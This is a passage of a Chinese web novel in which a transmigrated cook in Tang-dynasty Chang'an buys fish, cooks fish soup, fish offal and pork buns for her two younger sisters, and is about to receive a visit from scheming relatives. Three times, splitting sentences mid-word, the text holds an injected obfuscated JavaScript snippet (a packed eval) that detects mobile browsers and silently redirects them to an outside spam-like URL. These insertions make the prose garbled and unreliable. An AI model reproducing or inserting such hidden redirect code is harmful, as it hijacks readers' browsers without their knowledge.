而且,不知是不是她的错觉,她总觉得这孩子对自己有几分说不清道不明的距离感——最细思极恐的是,这“距离感”是在她穿越后才出现的。 也就是说,从前和崔娘子相处时,崔时锦并不如此。 崔时钰正为二妹的转变感到摸不着头脑,小妹这边又发话了。 崔时宁把脑袋摇成了拨浪鼓:“阿姊,我不想要糖人了。” 这声音奶声奶气的,听起来令人心窝发软。 “怎么了?”崔时钰问妹妹,“刚才明明看了那么久,为什么不想要了?” “因为贵。”崔时宁一本正经地说,“阿姊说过,家里没钱,不能乱花。” 崔时钰顿时心软得一塌糊涂。 她这两个妹妹都是什么小天使啊! “好,咱们不乱花钱,那回家之后阿姊给你做个糖人怎么样?”糖人而已,对她来说不算难事。 听到不用花钱就能得到糖人,阿宁高兴得都要蹦起来了:“好啊好啊,阿姊要给我做糖人喽!” 崔时钰被她的反应逗笑了,一手拎豆腐,一手牵妹妹,继续朝目的地前进。 她的出现引起了不少人的注意,许多摊贩和路人都偷偷打量着她,低声议论。 “你看,那不是前几天跳河的那个?” “我瞧着是!听说是被人救上来的,真是命大。” “这般年轻的岁数,有什么好想不开的?” “……” 崔时钰自然留意到了周围的窃窃私语,不过她并不在意。 “人气”高对她来说不是坏事,黑红也是红嘛,这样还利于她日后做生意——她已经想好了,往后也要在这西市摆个小摊。 小摊自然是要卖吃食的,但至于卖什么……暂时还没拿定主意。 以后再说。 她牵着妹妹径直走向鱼摊。 面前鱼摊布置得简单实用,正中央是一张宽大的木案,上面摆着几条已经处理好的鲫鱼,鱼身整齐地排列着,鳞片刮得干干净净,鱼鳃鲜红,鱼眼清澈,散发着淡淡的腥味。 木案旁边放着几个大木桶,桶里盛满清水,几条活蹦乱跳的鲤鱼和鲫鱼正在水中游动,桶边挂着几根草绳,想来是用来串鱼方便客人带走。 摊位的右侧摆着几个小桶,里面装着小杂鱼,个头不大,胜在价格便宜,适合用来熬汤或喂猫,估计是特意为那些预算有限的客人准备的。 崔时钰目光在摊子上扫了一圈,最后停在那几条游动的新鲜鲫鱼上,开口便要了三条。 郭大郎笑着朝她点点头,“好嘞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584197|171654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,三条鲫鱼,十一文钱。” 崔时钰微微一愣。 因打算和妹妹们一人一条,是以她挑中的这三条鲫鱼个头都不小,三条大鲫鱼,居然只要十一文钱? 看出她的疑惑,郭大郎解释道:“小娘子,你怕是不记得我了,我和你阿爹从前一同贩鱼,是老相识,这鱼我给你算便宜点,就按杂鱼的价格算了。” 他边说边麻利地将三条鲫鱼用草绳串好,递给崔时钰。 旁边的刘大娘神色复杂地看着眼前这一幕——怪不得刚才郭大郎不乐意和她八卦呢! 人家话都说到这份上了,再推辞就显得矫情,崔时钰双手接过三条沉甸甸的鲫鱼,感激地对郭大郎道:“多谢阿叔,以后我一定多来照顾您的生意。” 她确实在记忆中寻到了郭大郎模糊的身影。 那时的崔娘子比六岁的阿宁还要小一些,天真懵懂,有次见郭大郎出摊卖鱼,个头比自家阿爹卖的鱼还要大,便以为郭大郎是来抢生意的坏人。 崔父耐心地和她解释,告诉她郭阿叔不是坏人,只是长安城的人实在太多了,自然会有人卖相同的东西,但这并不代表其中某个人就是坏人。 崔时钰不记得崔娘子当时是怎样回答的了,总之,这段记忆并未给她留下太过深刻的印象。 正因为记忆不甚清晰,她才知道,郭大郎与崔父的关系并没那么好。 能关照从前不熟悉的竞争对手的女儿,这位郭大郎也是个热心肠的人。 这样想着,崔时钰又拉着妹妹一同道谢。 不必等姐姐开口,崔时宁早已准备好了,下一秒便甜甜地道:“谢谢阿叔!” 谁能拒绝一个奶娃娃的道谢? 郭大郎笑得合不拢嘴,“好好好,快拿好了,这鱼新鲜得很,拿回去熬汤最合适。” 崔时钰笑了笑,心头不由得浮现出一个疑惑:小时候也就算了,为何长大后的崔娘子也对这位郭大郎没有印象? 难道崔家从不吃鱼? 她思索片刻,很快找到原因——崔家吃鱼少,却也并非从来不吃,只是常去一些流动摊位购买。 原因无他,价格便宜。 郭大郎鱼摊上的鱼虽然品质好,但价格也相对更贵,崔娘子远远瞧见那阵仗颇大的摊子就知价格不菲,于是便敬而远之了。 她这样拼命省钱,目的是为了给两个妹妹攒嫁妆。 崔父崔母从事的都是多劳多得的辛苦活计,能在长安城买下一间带院子的铺子实属不易,还为大女儿攒了套嫁妆。 崔娘子的嫁妆是一全套纱、绫、罗、锦、麻布的布料,纱有吴纱和花鼓歇纱,绫有花素绫、广陵绫、交织绫,罗是单丝罗和孔雀罗,锦有瑞锦、半臂锦,麻布因比较易得,样式就更多,有火麻布、赀布、班布、苎麻布等。 崔父崔母都已故去,崔娘子便主动承担起为两个妹妹攒嫁妆的责任——她有的东西,妹妹也要有。 如果实在攒不够,那她就把自己的嫁妆分给妹妹们。 思绪回笼,崔时钰回过神来,又对郭大郎道了谢,这才离开鱼摊。 她带着妹妹在西市转了大半圈,买了些日常用品,其中包括做菜必备的酱油、糖、生粉等调味料。 那日做红糖鸡蛋时她就发现,橱柜内的调料简单到令人发指,除了粗盐便是陈醋。 合着崔家的饭食口味不是咸就是酸呗? 崔时钰不能接受,趁这次出门买鱼的机会,购入了一大批心仪的调味料。 这时候的调味料价钱着实不菲,一枚枚铜钱掏得她心疼不已,但这些东西早晚都要买,也算是提前投资。 到家之后,崔时钰将买来的东西一一放进庖厨,然后便开始杀鱼。 5. 豆腐鱼汤 杀鱼是个细致活。 鲫鱼最好在清水中暂置一段时间,吐尽泥沙、排净鱼屎,这样才能保证鱼肉的纯净。 趁着鱼吐泥这段时间,崔时钰将待会儿要用到的工具拾掇出来:菜刀、砧板、一条干净的布巾,还有一只粗瓷小碗。 砧板布巾和碗没什么好说的,唐朝的菜刀却很有些讲究,刀身较宽,刀刃略钝,形状接近长方形,有点像现代的西瓜刀。 这种宽刃菜刀虽然没那么锋利,敲起鱼来倒很趁手。 崔时钰抄起菜刀,调转刀背,对着鱼头精准一击,鲫鱼登时便晕了过去。三下连击过后,三尾活蹦乱跳的鲫鱼轮流在她手下瞬间安静。 紧接着,崔时钰翻转菜刀,将刀刃对准鱼身。这宽刃菜刀肯定没有专业的刮鳞刀好用,但眼下没有更好的工具,只能凑合了。 她从鱼尾向鱼头方向刮去鱼鳞,角度精准,力道均匀,鱼鳞簌簌而落,鱼身的皮肉却没有损伤分毫。 整套动作一气呵成。 若是郭大郎瞧见这一幕,定会被她专业的手法惊到。 处理完鱼鳞便是开膛破肚,崔时钰动作大胆又小心地用刀沿着鱼腹中线划开,鱼腹里面饱满的鱼内脏完整地露了出来。 鱼身自然不必多说,这鱼内脏也是个好东西,得留着。 崔时钰将鱼胆和其他不可食用部分取出,挑去鱼鳃,又在鱼身两侧靠近鱼头处各切一刀,轻轻拍打鱼身,一条完整的腥线就抽了出来——这条白色腥线一经去除,鱼腥味能大大减少。 一条鲫鱼便收拾好了。 其他两条鲫鱼也是相同的处理方式,只不过在处理剩下两条鲫鱼的时候,崔时钰惊喜地发现这两条鱼居然有鱼籽! 对于现在的她和妹妹们来说,这可是不可多得的美味。 她美滋滋将这几块还挂着血线的黄色鱼籽和刚才取出来的鱼泡、鱼肠、鱼肝等内脏一同放进小碗当中,准备一会儿做个烧鱼杂吃。 炖好的鱼杂配上大米饭,再浇上几勺浓郁的汤汁……那味道,肯定香。 就在崔时钰犯馋的时候,突然听到门口传来一阵声响,扭头一看,是捡完干树叶的阿锦回来了。 如今最需要柴火的冬季虽然已经过去,干木柴没那么原先紧俏,但也要卖到将近二十文一斤。 干树叶算是柴火的平替,姐妹三人当然是能省则省,经常轮流出去捡树叶,几乎是每日的必做活动。 崔时钰让二妹把干树叶放在柴火堆旁边,正要招呼她过来看刚才鱼肚子里剖出来的鱼籽,然后就瞧见阿锦正直勾勾盯着自己。 崔时钰一阵疑惑,而后反应过来,垂眸看向自己的双手。 上辈子她杀过的鱼几乎有上千条,早已练出一套完整的流程,基本不会在身上脸上溅到散落的鱼鳞或鱼血,但手上却是难以避免。而且这时候人们虽然会使用“手爪囊”,即手套,但主要用于保暖和防护,并不在烹饪过程中使用。 所以,她的双手现在沾满了淋漓鱼血,手背和手指上还溅上了刚才刮鱼时飞出来的鱼鳞。 想来这副模样着实很有几分冲击力。 崔时钰心中有些打鼓:别又把孩子吓着了。 正要起身清理一下案发现场,就听阿锦说:“阿姊,我来帮你。”说着去井边打了半桶水,提起木桶就要往崔时钰手上倒。 “阿锦等等。”崔时钰拦住妹妹,笑道,“我先把鱼洗了,不然还要占一次手。” 崔时锦动作一顿,点点头,而后目不转睛地瞧着阿姊用清水将鱼身里外冲洗几遍,直到鱼身上不再有一丝黑膜和血迹。 ——原来鱼就是这样处理的。 她很少见阿姊做这种事,有种习得新知识的感觉。 而崔时钰瞧着二妹的反应不像害怕,更多是探究与好奇,也放下心来,与阿锦说起了这几条鱼的来历,边说边拿起一小块皂角轻轻掰开。 皂角内里淡黄色的果肉露出,一股淡淡的草木清香飘散开来,带着些许苦涩的气息。 这便是古代的清洁用品了。 崔时钰将皂角沾水轻轻揉搓,果肉渐渐化开,在掌心浮起一层细密的泡沫,不像现代肥皂那样丰富,却带着一种天然的温润感。 她慢慢搓洗双手,泡沫随着手的动作逐渐变得浑浊,随着清水一冲,手上的鱼腥味消失不见,只留下淡淡的皂角清香。 这时候的清洁用品主要有皂角和澡豆两种,皂角便宜易得,几乎是每家每户的必备之物。 澡豆则更为稀有,制作时需要将猪胰子洗净研磨成糊,再与豆粉、香料、中草药混合,制成粉末或丸状。配方复杂,制作成本较高,价格自然也不便宜。 崔家当然没有这种东西。 崔时钰把皂角放回原处,又打了桶水给刚捡完树叶的妹妹洗手,看着阿锦灰扑扑的小手重新变得白嫩洁净,这才轻轻拍拍妹妹的后背:“好了,阿锦,去找阿宁玩吧。” 她做菜的时候不习惯有人在场,更享受一个人完成每道工序的秩序感——当然,是在菜量不大的前提下。 崔时锦闻言沉默片刻,似乎有些犹豫,但最终还是乖巧点头,听姐姐的话去找妹妹了。 没过多久,屋里就传来两个小女孩的欢声笑语,崔时钰笑了笑,正要把方才杀鱼留下来的内脏和鱼鳞丢进污桶,一偏头突然瞥见院子里那棵杏树。 这棵杏树已经有年头了,树皮粗糙,枝干虬结盘错,向四面八方伸展,投下斑驳的影子。 眼下还没到农历二月,杏树还光秃秃的,枝头却已鼓起了一个个裹着褐色外衣的小小芽苞,想来再过些时日,等天气再暖和些,这些芽苞就会裂开,吐出嫩绿的新叶在风中摇摆。 在崔娘子的记忆中,这棵杏树结出来的杏子味道还算可口,但数量十分稀少,果子模样也不甚美观。整个结果期过去,崔家姐妹三人也就只能吃上十几颗美味又歪瓜裂枣的果子。 崔时钰虽然在烹饪一道有些天份,对于种地却是个门外汉,不知怎样对这棵杏树进行改善。 但无论如何,施些肥总不会出错。 这样想着,她在杏树根旁徒手挖了个小坑,把鱼内脏和鱼鳞埋了进去。 ——但愿这棵杏树能吃得好些,结出更多香甜的杏子。 给杏树加餐完毕,崔时钰又去洗了手,这才拎着三条鲫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584198|171654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鱼、一碗鱼杂走进庖厨。 那日煮完红糖鸡蛋她便将庖厨收拾了一通,按照自己上辈子的烹饪习惯进行了些许改动,在灶王爷像旁钉上几根木钉,将竹编的笊篱、木勺和木铲一一挂上去,这样案板上的位置便空了出来,做菜时更方便了。 靠窗的条案上放着陶罐,里面装着刚放进去不久的调味料;地上的陶瓮盛着米面和豆子,都用木板盖得严严实实。 庖厨虽小,但被崔时钰收拾得利落,尽管不像她上辈子使用的现代厨房那样科技便利,却别有一番温馨之感。 她将鱼和鱼杂放在案板上,起锅烧水。 这一小锅沸水不是为鲫鱼烧的,而是为了豆腐——依然是王五娘赠与她的。 “使不得使不得!”见崔时钰要拿钱袋子,王五娘连连摆手,动作麻利地包起一块方方正正的豆腐。 连吃着人好几次豆腐,崔时钰心中实在过意不去,这次执意要付钱,王五娘自是不肯,一把按住她的手:“这点豆腐算得了什么?阿钰,你千万别跟我客气,当初你阿爹也没少抓鱼给我们一家子吃!”说着便不由分说将包好的豆腐塞进崔时钰怀里。 王五娘的豆腐在坊间是出了名的好,用料讲究,把好黄豆放在石磨细细地磨,点卤火候也拿捏得恰到好处,做出的豆腐细腻如脂,豆香四溢。 不过再好的豆腐也难免会带有一些豆腥味,焯水可以去除这种异味,让豆腐口感更加清爽,变得更适合熬汤,且能保持形状,不会轻易散开,也更容易吸收鱼汤的味道。 但焯水时间过长会让豆腐变得紧实,失去软嫩的口感,因此不能在水中煮得太久,是以只等豆腐在沸水中上浮下沉几个来回,崔时钰便将它们捞上来,放在一旁备用。 接下来便是重头戏,熬鱼汤。 将锅烧热,加入适量蔓菁子油——即后世的菜籽油,估摸着油温差不多了,崔时钰将斜切划刀的鲫鱼滑入锅中,只听滋啦一声,油脂的香气很快溢满整间庖厨。 她一边用木铲轻轻翻动鱼身防止糊锅,一边思索:这口铁锅还是太小了,要是换成她上辈子常用的那口锅,就能一次性煎好几条鲫鱼了…… 要赚钱买大铁锅! 煎好的鱼皮变得酥脆,微微卷曲,显现出诱人的金黄色,崔时钰从水缸里舀起几瓢清水顺着锅边注入,又将提前备好的葱姜撒进去。 汤汁翻滚着,渐渐浓郁。 等到大火将鱼汤烧开,崔时钰才将切好的豆腐块放入汤中,抽出几根木柴将灶火调小,任由汤汁咕嘟咕嘟地煨着。 大约过了半个时辰,揭开锅盖,浓郁的鱼香混着豆腐清香扑面而来。 锅里的鲫鱼豆腐汤已经炖得浓稠,乳白色的汤汁如同牛乳一般,没有一丝杂质,鲫鱼肉质鲜嫩细腻,吸饱了汤汁的豆腐微微胀大,看起来格外诱人。 崔时钰最后将一小把切得细碎的绿葱花撒了进去。 晨光透过窄窗洒进来,照得汤面金光点点,乳白的鱼汤、嫩滑的豆腐、翠绿的葱花,共同汇聚在一锅之中,色香俱全。 崔时钰用勺子轻轻搅动了一下锅里的汤,看着乳白色的汤汁翻滚,眉眼都舒展开来。 6. 三姐妹花 三条鲫鱼熬出来的鱼汤,一个碗都盛不下,崔时钰又翻箱倒柜翻出一只白瓷碗,这才勉强盛下一大锅鲜鱼汤。 鱼汤多,三个人约莫喝不完,崔时钰想好了,晚上的暮食就用剩下的鱼汤做锅索饼——也就是面条。 唐朝的吃食名称和后世大不相同,主食方面尤为突出: “胡饼”是现代的烧饼;“汤饼”即水煮面食,种类丰富,根据制作方式和配料的不同,可分为“索饼”“水溲饼”“馎饦”,索饼是面条,水溲饼是用较稀的面团制成的面片,馎饦是形状像猫耳朵的面片汤;不管有馅无馅,蒸制面食都称作“蒸饼”,而后再向下细分…… 已经穿越好几天了,崔时钰仍然担心一不留神就会说错。 她一边在脑子里过了一遍各种面食的称谓,一边处理鱼杂。 鱼肠、鱼泡、鱼籽、鱼肝一一从碗里取出分别清洗,鱼肠要用盐细细搓洗,鱼泡要破开洗净,鱼籽和鱼肝则要小心地用筷子摘去血丝。 灶膛里的柴火噼啪作响,铁锅已经烧热。 崔时钰舀半勺菜籽油入锅,放葱段、姜片爆香,又加了一勺前几日从集市上买来的茱萸辣酱。 此时辣椒还未引入大唐,食茱萸便是唐人们获取辣味的重要来源。 这是种肖似花椒的红色小果,携带浓烈的辛香气味以及淡淡的柑橘香,做出来的辣酱味道相对温和,没有后世辣椒酱那种强烈的刺激辣味,是唐朝人家家户户的常用调味品。 崔时钰买的时候闻了闻,食材本身特有的自然味道钻进鼻腔,很合她的口味。 美中不足的是,正因茱萸辣酱以茱萸的自然辛香为主,缺少传统辣椒酱中花椒、八角、茴香等香料的风味,味道相对单一。 崔时钰琢磨着,有机会一定要亲手熬锅辣椒酱。 她上辈子做的辣椒酱鼎鼎有名,每天单独来购买辣椒酱的人就数不胜数,据顾客说,光就着这辣椒酱就能吃好几碗米饭。 ——这都是上辈子的辉煌了,现在还是专心做鱼杂吧。 经过清洗,原本带着腥味的黏腻鱼变得干净清爽、柔软光滑,甫一下锅便发出油滋滋的声响,在木铲翻动间渐渐染上酱色,辣香混着鱼鲜在热汽中氤氲。 鱼杂量小熟得快,估摸着差不多了,崔时钰把刚才熬鱼汤时没用完的葱花撒进去,起锅装盘。 鱼杂入盘,酱褐色的汤汁顺着半透明的胶质鱼泡缓缓流下,在盘底汇成一汪诱人的酱色,旁边的鱼籽、鱼肝、鱼肠色泽饱满,泛着油亮的光泽,鲜香四溢。 盛出三碗满到冒尖的糙米饭,正中央摆上两大碗鱼汤,再配一碟酱色浓郁的烧鱼杂——今日的午食便成了。 崔时钰边洗手边喊:“阿锦,阿宁,过来吃饭啦。” 话音刚落,一大一小两个小姑娘便撩开帘子冲了进来,速度之快,简直让崔时钰怀疑她俩一直在门外看着。 阿宁踮着脚尖,小手扒着桌沿,圆溜溜的眼睛盯着汤碗,鼻子一抽一抽地嗅着香气,“阿姊,好香啊!” 她从没闻过这么香的味道! 熬鱼汤与烧鱼杂地香味不同,但都浓郁异常,两种香味和而不同地汇成一股,一个劲儿往她鼻子里钻。 崔时宁晕晕乎乎的,感觉自己都要被香迷糊了。 到底是比妹妹大了几岁,崔时锦看起来淡定许多,只安静地坐在食案旁边,双手规规矩矩放在膝上,活像个小大人一样。眼睛却一眨不眨盯着面前的饭食。 记忆中,阿姊几乎从未这样大动干戈地下过厨,没想到竟做得这样好。 她看着面前乳白色的鱼汤,咽了咽口水说:“阿姊这鱼汤熬得真好看,像天上的云。” 旁人形容鱼汤洁白,总会先联想到牛乳,阿锦第一反应却是天上的云。崔时钰明白,这是妹妹没喝过牛乳的缘故,所以才一时没想起来。 她心头微酸,拿起木勺,在两个妹妹碗中盛了满满的鱼汤,“喜欢就多喝,今日阿姊特意多熬了些,就怕你们不敞开肚子吃呢。” “谢谢阿姊!”阿宁迫不及待地端起碗喝了一口,一口下去又连喝好几口,直喝得啧啧有声。 “你慢些吃。”阿锦忍不住出声提醒妹妹,结果自己也被鱼汤的鲜美惊得微微睁大了眼睛。 鱼汤浓稠适中,恰到好处,既不会稀薄,也不会过于厚重,一口下去,热乎乎的一汪鲜汁便顺滑地流到胃里。 不知不觉汤碗见底,崔时锦起身又舀了一勺,方才只盛了汤,这次特意带上几块鱼肉和豆腐。 鱼肉雪白细嫩,鲜甜嫩滑,还保持着刚入锅时的形状,却又几乎入口即化,还很有鲜香的滋味。 豆腐则吸饱了鱼汤的鲜美,带着豆子特有的清香,咬下去时汤汁在口中迸溅。 崔时锦一口饭一口汤,不知不觉就吃完了两碗米饭,还喝了三碗鱼汤。 ……她什么时候饭量这么大了? 她这边专注鱼汤,妹妹已经向烧鱼杂发起进攻。 大约小孩子都喜欢一些奇奇怪怪的玩意儿,阿宁对这些模样一般,但味道鲜美的鱼杂爱不释口。 颗颗饱满的鱼籽金黄透亮,外皮微焦,内里又是另一番细腻绵软的口感,吃起来咸香浓郁;鱼泡吸足了酱汁,软糯中带着弹性,轻轻一咬,鲜香的汁水四溢;鱼肝细腻滑嫩,浸透了鱼杂的精华,油脂咸鲜中带着一丝微辣…… 每一口都满足极了。 崔时宁最喜欢吃鱼籽,一颗颗金黄饱满的鱼籽咬下去满口生香,第二喜欢软糯弹牙的鱼泡,鱼肝和鱼肠她拍不出顺序,但同样也是好吃的。 都好吃! “好好吃啊,阿姊真厉害!”阿宁嘴里塞得鼓鼓的,还不忘夸赞自家阿姊。 崔时钰抿嘴一笑,夹起一块鱼籽放进妹妹碗里,“这个有营养,阿宁多吃些。” 眼见盘里鱼籽还剩下最后一块,崔时钰夹起来放进阿锦碗中,却见她一直闷头扒饭,一言不发。 她这才注意到,这孩子从方才喝完鱼汤便没说过话了。 这是怎么了,被鱼刺卡到了? 崔时钰吓了一跳,连忙询问妹妹原因。 过了半晌,崔时锦缓缓抬头,却是露出了一张还挂着眼泪的清俊小脸。 见她哭了,崔时钰马上把筷子扔置一旁,坐到妹妹身边轻轻拍她后背:“可是被鱼刺卡到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584199|171654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喉咙了?别怕别怕,阿姊带你去养病坊把鱼刺取出来。” “养病坊”是这时候的医馆名称,不知取个鱼刺要花多少银钱,除了钱袋子,崔时钰还准备带上两块嫁妆麻布,以防万一。 她正要去取,突然感到有一只柔软小手轻轻拉住了她的衣袖。 崔时钰扭头,见阿锦抹着眼泪说:“阿姊,我没有被鱼刺卡到。” 听到这句话,崔时钰暂时放下心来——不管怎样,不是鱼刺的事就行。 那孩子为啥哭了? 她重新坐到阿锦身边,柔声询问:“那我们阿锦是为了什么哭呀?” “对啊二姊,你为什么哭了。”崔时宁嘴里叼着一块没吃完的鱼肉,用一只手给姐姐擦眼泪,含糊不清地问,“是因为阿姊做饭太好吃了吗?” 听了这句话,崔时锦终于破涕为笑:“我……我不知道该怎么说。” 自打爹娘去世之后,阿姊便成了她们一家人的主心骨,崔时锦打心眼里信任阿姊、依赖阿姊,如果阿姊有朝一日也不在了,那她就真的不知道该怎么办了。 可就在几天前,她最担心的事发生了:阿姊离开了她们。 虽然阿姊被人救了上来,但崔时锦一直忧心阿姊的心中症结还未完全消除,就怕某天她还会想不开,再冲动做了傻事。 是以这几天她对待阿姊的态度一直小心翼翼,不敢胡乱说话,生怕自己的哪句无心之言再次戳痛阿姊的心。 直到现在,吃到这一桌子热乎乎的美味饭菜,崔时锦悬了好几天的心终于落地了。 阿姊是真的回来了,再也不会离开她和妹妹了。 千般思绪不可言说,崔时锦红着眼圈摇了摇头,“对,就是因为阿姊做饭太好吃了。” 虽然孩子应该没完全把自己的心中想法说出来,但听她说自己没被鱼刺卡住,又喝鱼汤喝得小脸红润,想来应该没什么大事,只不过…… 这两大盆鱼汤、一盘鱼杂怎么都吃完了?那可是整整三条鲫鱼啊! 得,看来晚上的鱼汤面条是没法吃了,又得啃还没吃完的胡饼了。 * 长安城官道上,一辆牛车吱呀吱呀地碾过泥泞,车里挤着两个个圆滚滚的身影,正是田二郎和妻子殷氏。 殷氏掀开车帘,嫌弃地皱了皱眉头,“这路可真难走,你那几个外甥女住的地方,怕不是比这路还要破。” 田二郎缩了缩脖子,没敢接话。 他向来惧内,这会儿正小心翼翼地护着怀里的一包点心,生怕颠簸中掉了渣。 “你那大外甥女落了水,身子骨肯定要落下病根,长久不了。”殷氏突然压低声音,“她爹娘留下的那些嫁妆.....” 田二郎慌忙打断:“别说了,快到了。” 牛车在一处破旧的铺子前停下。 眼前的旧铺墙皮剥落,门前石阶长满了青苔,不知多久没打理过了。 殷氏一下车便皱起眉头,提着裙摆,生怕沾上一点灰尘,忍不住道:“连个像样的门房都没有!” 下一秒,她抱怨的声音突然一顿,抽了抽鼻子。 “什么味儿这么香?” 7. 小笼蒸包 崔时钰正在做猪肉小笼包。 连吃好几日鱼肉鱼汤,崔家姐妹三人个个面色红润,气色比从前好了不少,瞧着健康许多。特别是崔时钰,健身计划进行得有条不紊,很快就能在每日运动中加入深蹲这一项了。 如今她每日沿长安城慢跑半个时间,跑到哪儿算哪儿,时间一到便按时回家,再在院里那棵杏树边上做一组俯卧撑。 一开始她还担心自己这番举动会吓到两个妹妹,没想到阿锦和阿宁接受良好,甚至十分支持。 “阿姊这样是不是能长肉?”阿宁把糖人嚼得嘎嘣作响,“阿姊现在太瘦啦,要长点肉才好看!” 唐人以丰腴为美,世家贵女个个体态丰盈,敦煌壁画里的飞天形象多圆润婀娜,就连唐三彩女俑也长着可爱的双下巴。 如崔时钰这般的纤细身材虽不大符合此时人们的审美标准,不过她本人并不如何在意,无论丰腴还是苗条,只要健康便是最好。 这些天来健身效果显著,如今的崔时钰虽还不能像从前那样在灶台前连续站上八*九个小时,但已能还算轻松地切菜颠勺,着实是喜人的进步。 归根结底还是崔娘子身体底子好的缘故,若非先前过于病态地省钱、一日三餐敷衍了事,定能比现在体质更好。 崔时钰决定吃顿肉改善一下伙食,思来想去,把目光盯上了猪肉。 受北方游牧民族饮食习惯的影响,本朝人喜食羊肉,从宫廷到民间,羊肉都是餐桌上的常客,还有官方牧场太仆寺,专门养羊供皇室享用。 相比之下,豕肉——本朝猪肉的别称,在此时并没有那么受欢迎,甚至被视为低档的“腥肉”。 苏东坡先生就曾言过:“黄州好猪肉,价贱如泥土;贵者不肯吃,贫者不解煮。” 苏东坡先生的这两句诗实际是在先抑后扬地赞美猪肉,因为没过多久他就研究出了名满天下的东坡肉。但此时大名鼎鼎的东坡肉尚未出现,大部分人依然带着有色眼镜来看待猪肉。 崔时钰买肉时就遇到了类似情况。 那肉摊子是她晨跑时遇到的,摊子中央摆着一块宽大木板,上面分别摆着羊肉和猪肉。羊肉色泽鲜红,被切成齐整的大块,占据了木板的中央位置,猪肉则简单切成方形几块摆在木板边角。 崔时钰瞧着那块猪前腿还算新鲜,很适合用来做包子吃,便开口询问价格。 见她问价的对象是豕肉而非羊肉,原本满面堆笑的小贩立刻把脸耷拉下来,扫了扫木板角落用来当作添头的猪肉,随口道:“豕肉啊,八文一斤。” 唐朝的一斤约是十六两,再添四两便是后世的整两斤,花一斤的钱能带走两斤,怎么不算是另一种形式的赚了? 崔时钰眼里只有便宜新鲜的猪肉,压根没时间跟小贩置气,买下一斤便拎着回家了。 ——事实证明,像郭阿叔那般热心肠的商人着实罕有。 正因为对方这副热忱心肠,崔时钰才不好意思一直占人便宜,这些天买鱼一直坚持让他按正价算账,对王五娘也是如此。 她意图让对方成为未来的合作伙伴。 开饭馆嘛,单打独斗是不可能的,必须多方合作才能实现共赢。正因如此,选择蔬菜、水果、肉、米面粮油等等必需品的供应商就显得尤为重要。 像刚才那种利益至上、不讲人情,眼睛里只有钱的人,绝不会成为她日后的合作伙伴。 拎着猪肉回到家后,崔时钰做的头一件事便是对这些猪肉进行处理。 本朝骟猪技术已经出现,即“犍猪法”,但相较后世并不完善,即使是经过阉割的猪肉也依然存在异味。 对此,崔时钰有自己的一套解决路子。 她先将买来的猪肉洗净,切成适当大小的块状后放入清水中浸泡,期间多次换水,让血水充分渗出,浸泡一个时辰之后,血腥异味便能除去七七八八。 接着在锅中放葱段、姜片、花椒等香料,添水煮开,将浸泡后的猪肉放进去煮上一刻钟。经过这些香料的去腥增香,猪肉中的异味、血水和杂质便被进一步去除了。 第三步也是最后一步,将焯水后的猪肉捞出晾凉,再用少许米醋涂抹在表面轻轻搓洗,用清水冲洗干净。 浸泡、焯水、搓洗,再用调味料稍作腌渍,如此,猪肉便脱胎换骨,一丝怪味也无了。 一炷香的时间过后,崔时钰用两条猪前腿肉制了一碗精心调制的肉馅。 因着猪肉新鲜,调味料便不必放得太繁复,只需放盐、酱油、一小把切得细碎的葱花姜末,再撒入少量花椒粉即可。用竹筷顺着一个方向搅拌,搅好的肉馅儿黏稠有劲、肥瘦相间,鲜嫩多汁。 肉馅盆旁边是一个和好的面团,看起来色泽微黄,软硬适中。 这时候主要通过石磨、杵臼将小麦磨成粉末,精度有限,产出的面粉里面麸皮极多,质地粗糙,颜色也相对较深,淡黄色尤为常见,甚至还有浅棕色。 崔家姐妹三人从前经常吃的胡饼大约就是用这种面粉做的,颗粒感极强,崔时钰有点吃不来,前两日去找篾匠定制了一个专门用来筛面粉的筛网。 按照她的要求定制出来的筛网孔径细小,能够有效分离麸皮与面粉中的其他杂质。虽然这样筛出来的面粉仍达不到后世白面的细腻程度,但口感明显比之前提升了好几个等级。 总的来说,崔时钰还算满意。 这可不是乱花钱,而是合理投资。 她将面团分成数个大小相同的剂子,放在掌心揉成圆球再略略按平,用擀面杖从面团中间向外轻轻擀开。 如此擀出来的面皮厚薄均匀,且中间稍厚、边缘稍薄,用这样的面皮包馅儿不易破底,顶部捏褶时也更容易。 拿起一张擀好的面皮放在手心,另一手用木勺舀起一勺肉馅轻放在面皮中央,崔时钰手指蘸了点清水,沿着面皮边缘轻轻一抹,而后将面皮对折,两根手指灵巧地捏出褶皱——一个小笼包便包好了。 没过多久,一个个小巧玲珑的小包子便在案板排起长队。 崔家的庖厨里没有专门用来蒸包子的蒸锅,只有蒸屉,这对崔时钰来说也足够用了。 